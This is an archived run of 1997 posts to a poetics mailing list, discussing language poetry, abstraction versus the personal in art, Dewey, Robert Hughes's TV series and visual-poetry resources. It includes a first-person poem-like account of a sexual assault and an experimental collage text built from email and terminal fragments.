on lang po & artists: what about a guy like Bruce Nauman? I was just at the San Francisco MOMA and saw a - what? - sculpture, I guess, of his called something like "Imprints of the knees of five famous artists." One of the five famous artists is supposed to be de Kooning, but it turns out they're all imprints of one of Nauman's own knees - a good joke, I thought. He also has a couple of pieces in the Phila Museum of Art which I like, but it's purely an acquaintance's affection. Anyone know his work well?

-Mike.

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574. Stephen C. Ellwood
Re: abstract personal
Fri 20 Jun 1997

On Fri, 20 Jun 1997, Michael Magee wrote>
> on lang po & artists: what about a guy like Bruce Nauman? I was just at
> the San Francisco MOMA and saw a - what? - sculpture, I guess, of his
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> of the five famous artists is supposed to be de Kooning, but it turns out
> they're all imprints of one of Nauman's own knees - a good joke, I
> thought.

I have a lot of trouble with this type of work, the discourse it creates/alleges. It comes from humour and vulnerability (Ihope) but just operates as an enactment of arrogance, plus doing the dirty work of turning the world/community/network/lonely nobodies of artists into a daunting institutuion. It comes from the longing to be part of a family, but my feeling is that it instigates that same (painful) longing in others. Doesn't that seem less than ethical? Or at least less than kind. I guess in my world (ddesolate these days) I'm hoping artists and writers are motivated by kindness. And, as always, personal insecurity.

I have a question, as well. What does "Lang Po" stand for? I'm sorry for ignorance which I know, for I have my own miniscule area of expertise, will make me appear poignantly ridiculous. Oh, I take that back. I have no area of expertise.

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575. Henry Gould
Re: abstract personal
Fri 20 Jun 1997

Abstract is not the contrary of personal - concrete is. & abstract & concrete are slippery terms about poetry or painting. An abstract painting emphasizes the concreteness of the medium; so, I guess, would an opaque (non-narrative, non-"speech") poem. But a painted abstraction is set in a frame, or many frames - some specific, some more general or universal; the primary frame being the impulse & movement of the whole work. It's hard for me to get the point of pushing around these counters (abstract, personal, more abstract, more personal than you, etc.). I don't see how at this level of generality these oppositions mean much in terms of experiencing the impact of a work of art. If it has any.

- Henry Gould (with doo-be-doo John Dewey looking over his crow)

p.s. seems to me that the MEDIUM of poetry taken up by Plath or Sexton is the very same one taken up by the language poets. & I don't see how the formalities imposed by the former are any more constricting or artificial than those of the latter. What does the poem do with its materials? This literary progress by short-term one-upmanship will tell us nothing. That is, it will tell you as little about Plath etc. as I can tell you about Silliman etc. the times change, the styles change... then they change back again...

↑ Index

576. **Henry Gould**

Re: abstract personal

Fri 20 Jun 1997

"An irritated person is moved to do something. He cannot suppress his irritation by any direct act of will; at most he can only drive it by this attempt into a subterranean channel where it will work the more insidiously and destructively. He must act to get rid of it. But he can act in different ways, one direct, the other indirect, in manifestations of his state . He cannot suppress it any more than he can destroy the action of electricity by a fiat of will. But he can harness one or the other to the accomplishment of new ends that will do away with the destructive force of the natural agency. The irritable person does not have to take it out on his neighbors or members of his family to get relief. He may remember that a certain amount of regulat ed physical activity is good medicine. He sets to work tidying his room... ...This transformation is of the very essence of the change that takes place in any and every natural or original emotional impulsion when it takes the indi rect road of expression instead of the direct road of discharge. Irritation may be let go like an arrow directed at a target and produce some change in the outer world. But having an outer effect is something very different from ordered use of objective conditions in order to give objective fulfillment to emotion. The latter alone is expression and the emotion that attaches itself to, or is interpenetrated by, the resulting object is esthetic... ...The problem of conferring esthetic quality upon all modes of production is a serious problem. But it is a human problem for human solution; not a problem incapable of solution because it is set by some unpassable gulf in human nature or in the nature of things. In an imperfect society - and no society will ever be perfect - fine art will be to some extent an escape from, or an adventitious decoration of, the main activities of living. But in a better-ordered society than that in which we live, an infinitely greater happiness than is now the case would attend all modes of production. We live in a world in which there is an immense amount of organization, but it is an external organization, not one of the ordering of a growing experience, one that involves, moreover, the whole of the live creature, toward a fulfilling conclusion. Works of art that are not

remote from common life, that are widely enjoyed in a community, are signs of a unified collective life. But they are also marvelous aids in the creation of such a life. The remaking of the material of experience in the act of expression is not an isolated event confined to the artist and to a person here and there who happens to enjoy the work. IN THE DEGREE IN WHICH ART EXERCISES ITS OFFICE, IT IS ALSO A REMAKING OF THE EXPERIENCE OF THE COMMUNITY IN THE DIRECTION OF GREATER ORDER AND UNITY. [my caps]

- John Dewey, _Art as Experience_, 1934. Dewey was obviously a Nazi.

postscript: there are emotions that are NOT negative [i.e. irritability] and Dewey does not emphasize the negative emotions.

what this book can do is establish certain relations between reading [aesthetic receptivity] and awareness [aesthetic judgement] leading to an understanding of poetry as an ART FORM as opposed to an omnivorous key to counter-knowledge on the one hand or explosion of rage/lust /ego on the other. Aristotle's measure.

"The enemies of the esthetic are neither the practical nor the intellectual. They are the humdrum; slackness of loose ends; submission to convention in practice and intellectual procedure. Rigid abstinence, coerced submission, tightness on one side and dissipation, incoherence and aimless indulgence on the other, are deviations in opposite directions from the unity of an EXPERIENCE [my caps]. Such considerations perhaps induced Aristotle to invoke the "mean proportional" as the proper designation of what is distinctive of both virtue and the esthetic. He was formally correct. "Mean" and "proportion" are, however, not self-explanatory, nor to be taken over in a prior mathematical sense, but are properties belonging to an EXPERIENCE [my caps] that has a developing movement toward its own consummation." - Dewey

Dewey is a gold mine. He's not intellectual, either. There is no chortling over apercu or "meaning". It's a response to a poem or other work of art as an emotional/intellectual complex fulfilling its purpose over time..... .....- HG

"an immense amount of organization". POWER. Today a friend of mine, a paralegal, who had asked for flex time of a sort (after working there for eight years or so), was told she had one option: either keep working her present hours (40/wk), or work HALF time for LESS pay. Does she have time for poetry? She reads it over the radio as a volunteer for a special program for the blind... this is what we are up against, folks... this is the coin of the realm! Is it art? Does it reflect? Move? Mirror the pressure of the time? IS IT ART? Or SELF-expression? Or both? Who the hell cares... if we were artists we would organize, and maybe write 1 or 2 poems a year, in prison. as it is, we're... academics - or dilettante wannabes.... with long resumes....publication credits... blurbs.... what

a bore. Auden has a poem about the "artists" chatting away, with the crucifixion going on in the distance... Auden was a commie... ...meanwhile the mysterious positive emotion keeps drawing poems out of flax.

↑ Index

577. **Steven Marks**
Re: Cummings, Syllables, Nemes....
Sat 21 Jun 1997

Bob G. wrote:

>Also,
>how prevalent has word-fragmentation been among the language poets? I
>know P. Inman, for one, has used it. Can't remember if he kept all the
>fragments of some of his words, though--rather than just a front or rear
>fragment.
>
I don't know the answer to this question, but if you want to see a poem
that makes an interesting use of front and rear fragments of words, go to
Chis Alexander's Webzine "n/formation." Look for his poem "ferrites" in
the current issue. URL is

http://choengmon.lib.utah.edu/~calexand/nonce/nonce.html

cheers,
Steven

Steven Marks

http://members.aol.com/swmarks/welcome.html

↑ Index

578. **David R. Israel**
The God of Small Things
Sat 21 Jun 1997

[was: Subject: Re: reappropriating the inappropriate]

Aldon Nielsen sounds this genteel provocation:

> *Has anyone noticed that none of the Summer reading lists posted here repeats a single title from the NY Times Books of Summer issue?*

For the record (not the CD tho), I have in mind -- probably -- to read Arudathi Roy's new (& 1st) novel, *The God of Small Things* (which I think maybe was

reviewed in that NYTBR -- memory now is muddled or muffled or mottled or fiddled or faddled or fuddled).

Also to note, said volume has just gotten the author in some curious, censorious legal trouble in India (in her native state of Kerala) -- (the novel benightedly esteemed immoral or such).

d.i.

↑ Index

579. **KIM DAWN BAKER**

rape

Sat 21 Jun 1997

---

i was at the wick last night with betsy leading this big brick laying guy on letting him buy us drinks when i went to the washroom he followed me into my stall it was so fast he pulled my shirt and bra up touched my mouth with his big hand and put his cock in my mouth i dont know how i got outta there but i did it thundered around six that morning i had just gotton to sleep i was scared of the big noise i remembered a dream where my mom was wearing black and blue i was so far outta my body i wish i felt more.

↑ Index

580. **Dean Taciuch**

Re: abstractly personal

Sat 21 Jun 1997

I take a poet like Robert Creeley to have much to say on the subject of personal/abstract, that sense of the personal rendered as object ones finds in much of his work.

And there's the concern for the medium of expression that one often terms abstract (as Henry Gould notes). Here's a related quote, from WCWilliams--

In a reading in 1950 at UCLA, Williams speaks of "that transition that you have to make, from the sentimental subject to the structure of a work of art."

"That's the big general step that has to be made before we can get a cultured public. When we take that jump from loving to have a subject that we love talked about and put into rhymed verse, that's one thing. When we have a structure made of words to represent something which is our lives, here, and we recognize it by the way it's made; you go from there to there, and that's a tremendous step in the culture of a nation. Difficult to make. Let me point as simply as this: I had a friend, a very good friend, his name was Hartpence and he was an assistant in a gallery in New York, a picture gallery, not a gallery but

a, well, a shop where they sold modern paintings. And while the boss was out, Hartpence was there and one of their best customers came in, a charming old lady, just as sweet as she could be. And she liked one of the pictures, quite expensive. But she said, "Now Mr. Hartpence, I like this picture very much. But what is all this down in this corner here?" And Hartpence looked at it. "Madam," he said,"that is, that is . . . paint." (laughter from audience) He didn't make the sale. I don't think he lost his job, but maybe he did at that. Sometimes you have to lose your job to make a point. (laughter from audience)"

And in 1951, at Harvard, introducing "Spring and All":
"Poems are not made of thoughts, beautiful thoughts, it's [sic] made of words! Pigments put on--here,there, made, actually."

These were, judging by the audience reactions on the tapes, surprising ideas.

Dean Taciuch

↑ Index

581. **Mark Weiss**
Re: abstract personal
Sat 21 Jun 1997

T'ang dynasty poet, what ho?
>I have a question, as well. What does "Lang Po" stand for? I'm sorry
>for ignorance which I know, for I have my own miniscule area of
>expertise, will make me appear poignantly ridiculous. Oh, I take that
>back. I have no area of expertise.
>
>

↑ Index

582. **Mark Weiss**
(no subject)
Sat 21 Jun 1997

A few comments on Hughes: in his final episode among the very few currently working artists he had anything good to say about were Louises Bourgeoise and Susan Rothenberg. His comments on the dirt-paved loft were more bemused than celebratory. And he punctured a few silly reputations, like Koons. (If you're interested in kitsch elevated to art check out Robert Colescott or Luis Jimenez) His thrust was clearly despair about much of what goes on these days in the business of art, and I think he's largely right. Some characters get off rather too easily. Eric Fischl, despite what Hughes characterizes as his bad drawing, becomes a contemporary master. I've been waiting without much hope for him to

reach puberty. But I, too, am dubious about many of Hughes' ideas. I think he rather simplifies the history of the art of this place in order to substantiate a theory of decline analogous to Turner's "frontier thesis," in this case that American art declines as it loses contact with its roots in landscape. Rather too neat, and also ignores the many, like John Lees, still profoundly involved with that landscape.

At 11:49 AM 6/20/97 -0700, you wrote:
>Pritchett,Pat @Silverplume wrote:
>>
>> Watched a portion of Robert Hughes' new series "American Visions" last night
>> - the first hour of Part 4, anyway, before I fell asleep on the couch. I
>> found it a particularly irksome exercise and wondered if anyone else felt
>> the same way. What a pompous old billygoat Hughes is! He reminds me of
>> Gertrude Stein's description of Pound: "Ezra Pound is the village explainer.
>> Fine if you are a village. If not, not." The lowpoints for me: Hughes
>> shortshrifting Rothko (his project to raise Abstract Expressionism to the
>> level of religious painting was "bound to fail," opined RH, without giving
>> any reason. Translation: I don't like this stuff!) And as my wife was quick
>> to point out indignantly, he gave, in the first hour of Part 4 anyway, no
>> mention of any women artists at all. Where were Helen Frankenthaler? Louise
>> Nevelson? Diane Arbus? Elaine DeKooning? (to name but a few...)
>>
>> What I did take away though was a question about the influence of Abstract
>> Expressionism on Language Poetry. I've not read anything yet about this,
>> but a cross-pollenizing current here seems fairly evident. The underlying
>> idea in both movements being the liberation of the text -- painted, or
>> written -- from all notions of an imposed narrative logic, that is, a direct
>> transmission of a pre-constituted and inflexible set of meanings, a rigid,
>> unchanging code, from to author to viewer or reader. Meaning, instead, is a
>> seen as contextualized event -- it does not naturally inhere within a work,
>> but occurs in the space created at the intersection of painting and viewer,
>> text and reader. Hughes wore his best look of crinkled bafflement as
>> Rauscheneberg explained this in so many words to him in RR's studio. Typical
>> discussions of the evolution of LangPo focus on its literary and political
>> roots. What I'd like to know, if someone can supply it, is what's been said
>> on LP's connection to painting?
>>

>> Patrick Pritchett
>
>Afraid I wouldn't be able to comment on LP's connection to painting,
>except to maybe spout out some theories based on my own use of paintings
>and art criticism in my work, but I did have the same reaction to
>American Visions. Perhaps I'm unfair because I only saw the last
>"episode", but I too noticed the absence of women and his derision of
>"current" American art. I was disappointed, especially after reading the
>article in the Sunday Times about it - I thought that he was bitter on
>America because in the end, the series was funded by Britain and not the
>U.S.
>I think also was his inconsistency of opinion, his editorializing.
>"Stations of the Cross", for example, he implied should hardly be called
>such. I might agree it probably isn't a fulfilling spiritual experience,
>but I think it held greater meaning than he gave it credit for. I also
>found his debate with - I forget the artist's name, but he did the
>Michael Jackson and Bubbles sculpture - almost disturbing. Of course he
>was playing devil's advocate, but he seemed he was trying to get the
>artist to justify his work, and they were discussing a work-in-progress!
>He also dismissed many pieces with a "but so what", such as the gnawed
>chocolate block, but commented favorably on a room filled with dirt.
>It was here that I thought of the rhetorical in art - just as in a
>workshop I had with Aaron Shurin, where we discussed the rhetorical in
>writing. I might agree with Hughs in that being gay or anorexic/bulimic
>or having AIDS doesn't necessarily make your art good, and that a room
>full of dirt perhaps has subtle(er) implications than does a block of
>chocolate. But in any case, I found his concluding dismissal of current
>American art disturbing - because his whole point was that it mirors the
>society, and hey, look at society right now.
>Anway, back to "space created at intersection of painting and viewer".
>Yes, another artist commented on that. That the context comes in this
>space, and each viewer changes that context. I want to connect this to
>another point about how the art is installed - Chinese men behind a
>veil, or angles and light making you look at something a certain way -
>but I haven't completed that connection in my head yet. Conceptual art
>too. Looking forward to more discussion.
>
>(My first big convoluted outburst)
>Karen McKevitt
>
>

↑ Index

583. Alan+++Sondheim

Subject: Ex-Mig

Sat 21 Jun 1997

+++

Subject: Ex-Mig

Exchange of Migrating Names

{b:2} Migrating Names bash: Migrating: command not found
personal-name = Alan***Sondheim To : Travis***Sondheim
<[redacted]> Cc: Subject: Migrating Names -- Message Text --

Names Migrate

Intention transforms across applications; the railroad meets itself on the other side of the world.

Date: Thu, 19 Jun 1997 23:21:40 -0400 (EDT) From: Travis***Sondheim
<[redacted]> To: Alan***Sondheim <[redacted]> Subject: Migrating Names

Thin links break, there are always girls and boys, Travis and Susan, always time on hand. I'd wonder:

{k:1} date Thu Jun 19 23:24:09 EDT 1997 {k:2} exit
Connection closed by foreign host.
{b:9} date Thu Jun 19 23:23:22 EDT 1997

Susan-Travis fingers grow thin with longing; Jews, they just aren't _there._ This could be a problem.

----- The following addresses had permanent fatal errors ----- <[redacted]>

To: [redacted] Subject: we have no roots

Susan - the problem is theirs.

Travis

+++ +++ +++ +++ +++ +++ +++ +++ +++ +++ +++ +++ +++ +++

"It's this sort of thing." "They always say things like this." "You've got to expect them to feel this way."

"They're _clingy._"

↑ Index

584. **Bennett M. Sm [Dimpson**
What Sauna?
Sat 21 Jun 1997

This is a funny quote from Weiners. I don't know much about him, but the business of poetry being essentially humans relating to humans, art being essentially humans relating to objects feels kinda arbitrary. Humans always relate to both humans and objects. Art, poetry? What about puppies and steambaths? Translation is what you want and when you want it. Puppy is also a word when it pisses on your floor. Why does Weiners limit his words to concept as material? This quote sounds afraid to go more elastic with its genres. But that's ok too. Everybody's on the clock. Concessions.

mulling,

Bennett

On Thu, 19 Jun 1997, Wystan Curnow wrote:

> *Dear Bennett,*
> *This is a subject that interests me. Have you looked at Lawrence Weiner? He appears in one of the L= anthologies. There's a strange statement of his in Dieter Schwarz's catalogue raisonne of W's books 'Literature is an attempt to portray within the context of a narrative or non-narrative structure the relationships of human beings to human beings, and art isthe relationship of human beings to objects, that' simple enough (sic!). Poetry essentially is something that is not translatable; its possible to get an approximate translation, it's made not to be translated, its made to have the beauty and the form and the sens of the language itself, and my work is designed initially to be translated, either into physical form or into languages, and that's enough of a difference for me. Literature is essentially about a subjective reality, and art is essentially about an objective reality.' Its from an interview with Schwarz of 1989. It is interesting less for what it claims about literature and poetry, than as an apology (why I am not a poet) for his own practices which in terms of the making words ' material ' are clearly larger than those of any other so-called conceptual artist. At least for the sake of argument, I'm not convinced by W's defence. Indeed, I'd like to see how the texts of Weiner, and say Hamish Fulton, Richard Long, David Tremlett (the Brit. backpacker poets) not to mention , Jenny Holzer etc etc would survive the 'test of poetry'. What thoughts?*
> *Wystan*

&c.&c.&c.&c.&c.&c.&c.&c.
&c.
Bennett Simpson &c.

[redacted] &c.
&c.
&c.&c.&c.&c.&c.&c.&c.&c.

↑ Index

585. Bennett M. Sm [Dimpson

Re: smithsons poetics, artists/poets

Sat 21 Jun 1997

I don't know what poets do generally.
Is there any such thing as an artist?

"Locals Only" is expandable.
The moon is backyard and Robert Smithson

singing contracts in the craters has found
address books in every single one.

"Winter Solstice, 4000 BC."
Tomorrow night in Rene's typewriter.

Do not lock
and load.

Charlottesville, Virginia photo
index loop poop CPR.

Need cheap tix to LGA, will red-eye,
do while, Bennett

&c.&c.&c.&c.&c.&c.&c.&c.
&c.
Bennett Simpson &c.
[redacted] &c.
&c.
&c.&c.&c.&c.&c.&c.&c.&c.

↑ Index

586. Peter Ganick

announce POTEPOETZINETHREE ----

Sat 21 Jun 1997

POTEPOETZINE will be sent out this coming monday------
contributors include; kim dawn, susan finnegan, guy
bennett, craig foltz, jim leftwich, john kimball/peter ganick,
john sembrakis, dan raphael, robert j. tiess, steve tills----
to receive your own issue, send your e-mail address to:

[redacted], mentioning where you saw this
annoucement----

submissions are now being accepted
for POTEPOETZINEFOUR
---an issue devoted to writing by
and about women-------no more than
4 pages, please-------

out-----
peter ganick

↑ Index

587. **David R. Israel**
The God of Small Things
Sat 21 Jun 1997

[was: Subject: Re: reappropriating the inappropriate]

Aldon Nielsen sounds this genteel provocation:

> *Has anyone noticed that none of the Summer reading lists posted here repeats a single title from the NY Times Books of Summer issue?*

For the record (not the CD tho), I have in mind -- probably -- to read Arudathi Roy's new (& 1st) novel, *The God of Small Things* (which I think was reviewed in that NYTBR ? -- memory now is muddled or muffled or mottled or fiddled or faddled or fuddled).

Also to note, said volume has just gotten the author in some curious, censorious legal trouble in India, in her native state of Kerala, through what sounds to be a nonsense suit -- the novelist being charged with degrading moral standards through her book.

d.i.

p.s.: I've seen nor hide nor hair of the Poetics listserv -- no
posts, no digests, nada -- for the past 2 days. Strange.

.
.....
.....
\\\

| thy centuries follow each other
| perfecting a small wild flower
| (Tagore)
///////////////////////////////////////\\\\\/////

↑ Index

588. **David R. Israel**
oops, never mind
Sat 21 Jun 1997

in a moments-ago post, I erroneously wrote:

> *p.s.: I've seen nor hide nor hair of the Poetics listserv -- no posts, no digests, nada -- for the past 2 days. Strange.*

well, that had been true till I got the "June 18-20" digest -- an item from which (From Aldon N.) I was in fact responding to.

pardon moi; (chalk it off to the humidity . . . ?)

d.i.

↑ Index

589. **Bob Grumman**
Nemes, Names, Lang Po, Viz Po
Sat 21 Jun 1997

First off, thanks, Steven Marks, for alerting me to Chris Alexander's "ferrites," which DOES do very nice things with word fragments--and made me remember I wanted to tell Judy Roitman that I, too, am fascinated by the different tones, or whatever, of words on the page like "wait" and "weight," to which I would add "wgt." though its difference from the others is partly semantic since the abbreviation makes it say "cut&dry, impersonal, abstract," as well as "feel" different. Then there are "gray" and "grey," which are not only "visio-tonally" different, but semantically different, the "a" making "gray" a much happier hue than "grey," and also younger since (I think) "grey" is old-fashioned- seeming.

I also have a few comments for the abstraction/personal thread. My impression is that people like Mark W. are for a few words, loosely- defined, that they can run with while people like Henry Gould and I prefer many words, precisely-defined. Anyway, like Henry, I don't see an opposition between personal and abstract--but I do believe that abstract implies impersonal. The way I'd avoid all this is to speak of object-centered versus people-centered poetry. Either can be highly personal or impersonal. Plath seems mostly people-centered, most language poets object-centered (the object being language a lot of the time). But I'm just musing.

Anyway, that brings me to Stephen C. Ellman's request for enlightenment on what "lang po" is. It's short for "language poetry." As to what THAT is there is a lot of disagreement. I consider it poetry that works against linguistic norms--that is, breaks the rules of traditional prose and/or verse grammatically or orthographically. It's language-centered, but so is much non-language poetry. It has many socio-political definitions, too, that have nothing to do with what it actually is. And various poets are termed language poets, or NOT language poets, for purely personal reasons like cliquishness and anti-cliquishness. It's all very confusing, and I'm definitely not an authority on it, so would very much like to see other definitions of it. Meanwhile, I don't use the term in my formal taxonomy, going instead with "xenolinguistic poetry"--which no one else uses, which keeps its meaning from being corrupted.

Which brings me to viz po, short for visual poetry, and Marjorie Perloff's request for affordable materials for a seminar on visual poetry she's doing next year (and it's great that she's doing it, visual poetry continuing to be severely under-considered by the academy).

Sad to say, while there are a lot of terrific chapbook collections of viz po around, and zines of it, and isolated articles on it in small-circulation magazines, so far as I know there haven't been any full-scale major anthologies of it (in English) since the Solt and Williams anthologies over twenty years ago, and no worthwhile full- scale collections of viz po criticism EVER--except Bob Cobbing and Peter Mayer's *Concerning Concrete Poetry* of 1978.

But I do have a few recommendations:

1. CORE: A Symposium on Contemporary Visual Poetry which contains a bit of criticism and a few samples of visual poetry but is mainly a sort of introduction to certain visual poets--as opposed to visual POETRY. But most of the serious practitioners have a page or two in it of comments about where they are in the field and how they feel about it, etc., so it should interest anyone interested in visual poetry.

The latest issue of SCORE (1015 NW Clifford St., Pullman WA 99163--I don't know the price; same address should get you information about CORE, which is probably out-of-print) which has a LOT of state-of-the -art visual poetry--from Russia, Australia, Uruguay, etc., as well as the States.

Harry Burrus's anthology O!!Zone Visual Poetry 1996 which has a very international, large collection of mostly first-rate recent visual poetry. I have a review of it in the May issue of Small Press Magazine. The price I give there I'm pretty sure is wrong--it's very high, if not ($30)--though it's an 11 by 8.5 book of 188 pages. Burrus's address is 1266 Fountain View, Houston TX 77057-2204.

Then there are two excellent visual poetry websites, the UBUWEB and Karl Young's Light & Dust Site no student of viz po should be allowed to ignore. The first is esp. good on historical visual poetry, the latter on current visual (and lots of other kinds of) poetry. And both are free!

Score, previously mentioned, has published a number of worthwhile collections of visual poetry, too. Among the very few other presses publishing viz po is my own Runaway Spoon Press. A catalog is available through the electronic poetry center's links to small presses. Most of my books are small saddle-stitched SCRUFFY-NOT-SHODDY productions. Here're the authors and titles of a few:

John Byrum: CONFLATIO
Jake Berry: EQUATIONS
Karl Kempton: RUNES 6, and RUNES 7
Virginia V. Hlavsa: FESTILLIFES
Richard Kostelanetz: REPARTITIONS IV
Jonathan Brannen: WARP & PEACE
Stephen-Paul Martin: UNTIL IT CHANGES
Lloyd Dunn: INBETWEENING
Larry Tomoyasu: MOCKINGBIRD LITMUS
Harry Polkinhorn: SUMMARY DISSOLUTION
John Martone: FAR HUMAN CHARACTER
G. Huth: GHOSTLIGHT
LeRoy Gorman: HEAVYN
Guy R. Beining: PIECEMEAL, 1 through 8 (8 volumes but single copies available)

All but the Kemptons are $3 apiece; the Kemptons are $5 apiece. Not only are these books representative of high-level current visual poetry but examples of the micro-press in action and thus capable, I would hope, of inspiring the truly interested visual poet into similar publishing efforts.

I hope this biased and incomplete list proves helpful, not only to Marjorie but anyone curious about viz po.

--Bob G.

> Bob G. wrote:
>
> >Also,
> >how prevalent has word-fragmentation been among the language poets? I
> >know P. Inman, for one, has used it. Can't remember if he kept all the
> >fragments of some of his words, though--rather than just a front or rear
> >fragment.
> >
> I don't know the answer to this question, but if you want to see a poem

> that makes an interesting use of front and rear fragments of words, go to
> Chis Alexander's Webzine "n/formation." Look for his poem "ferrites" in
> the current issue. URL is
>
> http://choengmon.lib.utah.edu/~calexand/nonce/nonce.html
>
> cheers,
> Steven
>
> _____
> Steven Marks
>
> http://members.aol.com/swmarks/welcome.html
> _____
Judy Roitman wgt.

↑ Index

590. **John Tranter**
Abstract Personal HallmarkCards
Sat 21 Jun 1997

In a recent post, David Bromige said :

"As for neo-formalism (Dana Gioia, I hear, is an adviser to Hallmark), it lacks micro-intensity. Micro being where lives actually takes place, neo-formalism is dead."

Now come on, David, you now better than to traduce a good poet's name with loose, malicious and inaccurate gossip like that. Dana Gioia is not, nor has he ever been, an advisor to Hallmark.

<IR> It's *Hallmark* who is the advisor to *Dana Gioia*. </IR>

Okay?

» » » » » » » » » » » [redacted] » » » » » »
John Tranter, 39 Short Street, Balmain NSW 2041, Australia
Phone Sydney ([redacted] FAX ([redacted]

↑ Index

591. **Maria Damon**
Re: Spicer
Sat 21 Jun 1997

> *Okay, more later, thank you--everybody for all your support.--XXX Kevin*

yay, kevin, delighted it's finally in the bag, i look forward to being able to refer all of my students to it, spicer's developing a minor cult in mpls.

↑ Index

592. Susan Wheeler
Abstract etc.
Sat 21 Jun 1997

from early journals of Elizabeth Bishop:

"It's a question of using the poet's proper materials, with which he is equipped by nature, i.e., immediate, intense physical reactions, a sense of metaphor and decoration in everything -- to express something not of them -- something I suppose, <spiritual>. But it proceeds from the material, the material eaten out with acid, pulled down from underneath, made to perform and always kept in order, in its place. Sometimes it cannot be made to indicate its spiritual goal clearly (some of Hopkins', say, where the point seems to be missing) but even then the spiritual must be felt. Miss Moore does this -- but occasionally I think, the super-material content in her poems is too easy for the material involved, -- it could have meant more. The other way -- of using the supposedly 'spiritual' -- the beautiful, the nostalgic, the ideal and <poetic>, to produce the <material> -- is the way of the Romantic, I think -- and a great perversity. This may be capable of being treated by a mere studying of simile and metaphor -- This is why genuine religious poetry seems to be about as far as poetry can go -- and as good as it can bee -- it also explains the dangers of love-poetry."

Susan Wheeler
[redacted]
voice/fax [redacted]

↑ Index

593. Maria Damon
Re: jwcurry, sondheim, kdawn
Sat 21 Jun 1997

At 2:52 PM -0400 6/17/97, Joseph Lease wrote:
>an Irish rock star said--I don't care if it's all been done before--I
>haven't done it all before--
>
>that too is a part of the story--
>
>if what we mean by culture--and history--is character labs--where selves
>reconfigure--

i agree. one of the most exciting things about teaching or writing for that matter is watching students (or feeling oneself) reinventing the wheel. this was the principle behind much "experimental education" n the 1970s and is still very meaningful to me. i actually think, too, that part of the power of acker's wrting comes from a slippage between the "personal" and the "experimental," deconstructive nature of her writing. if it were all one or all the other, it'd be boring, a one-trick pony, etc, and there are times when i do feel that . but it's exciting to me the aesthetically pleasurable, and disturbing, disorientation (regardless of what she herself says about her writing) that ensues from experiencing her writing as both.

↑ Index

594. p.c. jaeger
eyerhymes at Edmonton
Sat 21 Jun 1997

I can't add too much here to what Doug Barbour and Dave Chirot already posted about the eyerhymes conference, except to say that it was extremely well organized. also I think Doug was a bit too modest about his performance with Steven Scobie at the Latitude 53 gallery in Edmonton--many of us there thought it was one of the night's highlights, especially the group's translation of Derrida's Postcard. & Bob Cobbing's performance was superb--it was great too see someone of his age and stature still performing--in fact, his age added to the performance, because it countered our culture's typical stress on the youthful body (refreshed by age!).

this was an exceptionally good conference...thanks to all involved.

Peter

↑ Index

595. Aldon L. Nielsen
*Re: _My Life in the Bush of Ghosts_*
Sat 21 Jun 1997

Amos Tutuala died last week -- small obits here and there, but many U.S. papers failed to quote anything from his books --

If you haven't already, read _The Palm Wine Drinkard_

↑ Index

596. **Daniel Tessitore**
Re: abstract personal
Sat 21 Jun 1997

Lang Po was a failed marketing ploy, by which chunks of Alpo were shaped into the likenesses of famous poets. You know, the dogs just gobbled'em up anyway.

DT

From: George Bowering[SMTP:[redacted]]
Sent: Monday, June 23, 1997 9:37 AM
To: [redacted]
Subject: Re: abstract personal

> *stephen ellwood asked:*
>
> *I have a question, as well. What does "Lang Po" stand for? I'm sorry for ignorance which I know, for I have my own miniscule area of expertise, will make me appear poignantly ridiculous. Oh, I take that back. I have no area of expertise.*
>
> *Lang Po is the second cousin twice removed of Li Po.*

And also grandnephew of Edgar Allan Po.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

597. **LYNES- KATHERINE**
Re: abstract personal
Sat 21 Jun 1997

stephen ellwood asked:

> *I have a question, as well. What does "Lang Po" stand for? I'm sorry for ignorance which I know, for I have my own miniscule area of expertise, will make me appear poignantly ridiculous. Oh, I take that back. I have no area of expertise.*

Lang Po is the second cousin twice removed of Li Po.

or it's language poetry at least that's what i've translated it as being and btw expertise can be and often is over-rated.

kl

↑ Index

598. **David R. Israel**
representation
Sat 21 Jun 1997

---

abstract v. personal was bandied about variously here. Henry Gould then remarked,

> *Abstract is not the contrary of personal - concrete is. & abstract & concrete are slippery terms about poetry or painting. An abstract painting emphasizes the concreteness of the medium; so, I guess, would an opaque (non-narrative, non-"speech") poem.*

I guess in painting, the "representational" has often been posited as the contrary of the "abstract." Or one hears of "representational" vs. "nonrepresentational" painting. In both painting and poetry, narrative also has something to do with these fulcra, sometimes.

These issues & contraries came to mind when chancing on this:

"It is idle to talk always of the alternative of reason and faith. Reason is itself a matter of faith. It is an act of faith to assert that our thoughts have any relation to reality at all." -G.K. Chesterton, *Orthodoxy*

Similarly, perhaps (in a manner of speaking) the personal is itself a matter of the abstract -- a particular case thereof. Or should we rather phrase this vice versa?

d.i.

↑ Index

599. **Dean Taciuch**
Nemes, Names, Lang Po, Viz Po
Sat 21 Jun 1997

Bob Grumman wrote:
>I also have a few comments for the abstraction/personal thread. My
>impression is that people like Mark W. are for a few words, loosely-
>defined, that they can run with while people like Henry Gould and I
>prefer many words, precisely-defined. Anyway, like Henry, I don't see
>an opposition between personal and abstract--but I do believe that
>abstract implies impersonal. The way I'd avoid all this is to speak of

>object-centered versus people-centered poetry. Either can be highly
>personal or impersonal. Plath seems mostly people-centered, most
>language poets object-centered (the object being language a lot of the
>time). But I'm just musing.

People are, among other things, objects. Not merely, but also.

Dean

↑ Index

600. David Bromige
POETPOETZINE; Rachel Loden's e-ddress
Sat 21 Jun 1997

Yes,good idea Jay, please, Loss, sign me up as subscriber to POETPOETZINE.

And, excuse the intrusion of private things into the common matrix, but Rachel Loden, the postmaster tells me the e-ddress I have for you, doesn't deliver. Cd you b.c. me w/ the right stuff? Thanks, & have a mad midsommarsnatt all of you fellow-listlings, what with this wild fullest of moons out there in deepest summer northernmost sun! Lets get out there & do something to Romanticism it'll never forget! David

↑ Index

601. David Bromige
oops
Sat 21 Jun 1997

I t h o u g h t there was something familiar about that title. But then I thought, "Aw,when you're over 60, everything new sounds the same." I had e-called a posting by Loss re this e-zine, & mistook him for the issuer. Sorry, Peter, of course I recognize the title now, I was even in one! Duh. (But Rachel, its no mistake that I couldnt forward this great joke to you last nite because of the P.O. Btw, Listlings, [redacted] (subject: subscribe; body: your name) will send you an off-color (what joke isnt?) joke a day. It could relieve some of the humor-stress on this List. David

↑ Index

602. lee ann brown
Re: POETICS Digest - 18 Jun 1997 to 20 Jun 1997
Sat 21 Jun 1997

Dear Poetics List,

eeeww!

